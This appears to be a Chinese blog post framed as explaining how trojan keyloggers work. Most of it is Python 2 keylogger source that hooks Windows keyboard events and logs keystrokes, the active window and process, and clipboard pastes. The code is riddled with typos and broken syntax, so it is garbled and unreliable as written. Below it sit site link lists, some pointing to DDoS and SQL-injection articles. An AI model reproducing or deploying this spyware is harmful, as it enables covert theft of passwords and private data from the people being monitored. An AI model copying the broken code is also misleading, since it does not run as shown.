Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python selenium如何设置等待时间
Sep 15 Python
Python中用post、get方式提交数据的方法示例
Sep 22 Python
Python3中的json模块使用详解
May 05 Python
详解用python写网络爬虫-爬取新浪微博评论
May 10 Python
python小程序实现刷票功能详解
Jul 17 Python
Django如何简单快速实现PUT、DELETE方法
Jul 24 Python
Python 装饰器@,对函数进行功能扩展操作示例【开闭原则】
Oct 17 Python
简单了解python filter、map、reduce的区别
Jan 14 Python
Python 线性回归分析以及评价指标详解
Apr 02 Python
判断Threading.start新线程是否执行完毕的实例
May 02 Python
python利用opencv实现颜色检测
Feb 23 Python
Python利器openpyxl之操作excel表格
Apr 17 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
关于php fread()使用技巧
2010/01/22 PHP
php采集文章中的图片获取替换到本地(实现代码)
2013/07/08 PHP
什么情况下可以不写PHP的闭合标签“?&gt;”
2014/08/28 PHP
Laravel框架路由配置总结、设置技巧大全
2014/09/03 PHP
PHP中上传多个文件的表单设计例子
2014/11/19 PHP
CSS+Jquery实现页面圆角框方法大全
2009/12/24 Javascript
JS中的public和private对象,即static修饰符
2012/01/18 Javascript
javascript基础之查找元素的详细介绍(访问节点)
2013/07/05 Javascript
JavaScript通过正则表达式实现表单验证电话号码
2014/03/07 Javascript
jquery库或JS文件在eclipse下报错问题解决方法
2014/04/17 Javascript
Node.js中创建和管理外部进程详解
2014/08/16 Javascript
JavaScript和HTML DOM的区别与联系及Javascript和DOM的关系
2015/11/15 Javascript
javascript拖拽应用实例
2016/03/25 Javascript
9个让JavaScript调试更简单的Console命令
2016/11/14 Javascript
解析Vue2.0双向绑定实现原理
2017/02/23 Javascript
jQuery加密密码到cookie的实现代码
2017/04/18 jQuery
基于JavaScript实现表格滚动分页
2017/11/22 Javascript
详谈js的变量提升以及使用方法
2018/10/06 Javascript
微信小程序模板消息推送的两种实现方式
2019/08/27 Javascript
Openlayers3实现车辆轨迹回放功能
2020/09/29 Javascript
Javascript数组及类数组相关原理详解
2020/10/29 Javascript
[02:27]刀塔重生降临
2015/10/14 DOTA
使用python实现扫描端口示例
2014/03/29 Python
谈谈如何手动释放Python的内存
2016/12/17 Python
PyCharm配置mongo插件的方法
2018/11/30 Python
python定时任务 sched模块用法实例
2019/11/04 Python
Python爬取你好李焕英豆瓣短评生成词云的示例代码
2021/02/24 Python
python Protobuf定义消息类型知识点讲解
2021/03/02 Python
New Balance俄罗斯官方网上商店:购买运动鞋
2020/03/02 全球购物
自荐信格式
2013/12/01 职场文书
爷爷追悼会答谢词
2014/01/24 职场文书
运动会演讲稿200字
2014/08/25 职场文书
房屋财产继承协议书范本
2014/11/03 职场文书
毕业纪念册寄语大全
2015/02/26 职场文书
2016年元旦致辞
2015/08/01 职场文书
婚礼长辈答谢词
2015/09/29 职场文书